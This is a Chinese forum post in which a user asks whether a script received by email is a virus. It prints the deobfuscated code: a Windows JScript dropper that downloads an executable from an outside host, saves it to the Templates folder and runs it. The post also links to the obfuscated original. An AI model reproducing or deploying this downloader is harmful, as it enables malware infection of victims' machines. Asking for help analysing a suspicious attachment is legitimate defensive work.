邮箱里收到了这么一个陌生 js 脚本，请问这个脚本是病毒么？

原文件是一长串乱码，原作者往里面故意添加了许多无意义字符串，删掉那些无意义字符串之后，最终有意义的代码如下：

var wsh = new ActiveXObject("wscript.shell");
var sh = new ActiveXObject("shell.application");
var HTTP = new ActiveXObject("MSXML2.XMLHTTP");
var Stream = new ActiveXObject("ADODB.Stream");
var path = wsh.SpecialFolders("Templates")+"\\"+((Math.random()*999999)+9999|0)+".exe";
HTTP.Open("GET", "http://mopooland.top/404", false);
HTTP.Send();
if (HTTP.Status == 200) {
    Stream.Open();
    Stream.Type = 1;
    Stream.Write(HTTP.ResponseBody); 
    Stream.Position = 0;
    Stream.SaveToFile(path, 2);
    Stream.Close(); sh.ShellExecute(path, "", "", "open", 1);
}

http://mopooland.top/404打开里面什么都没有，求懂 js 的大神帮忙解释一下这个代码是要干嘛？是跟最近卷土重来的比特币病毒有关么？

原代码见：http://pan.baidu.com/s/1kUComnP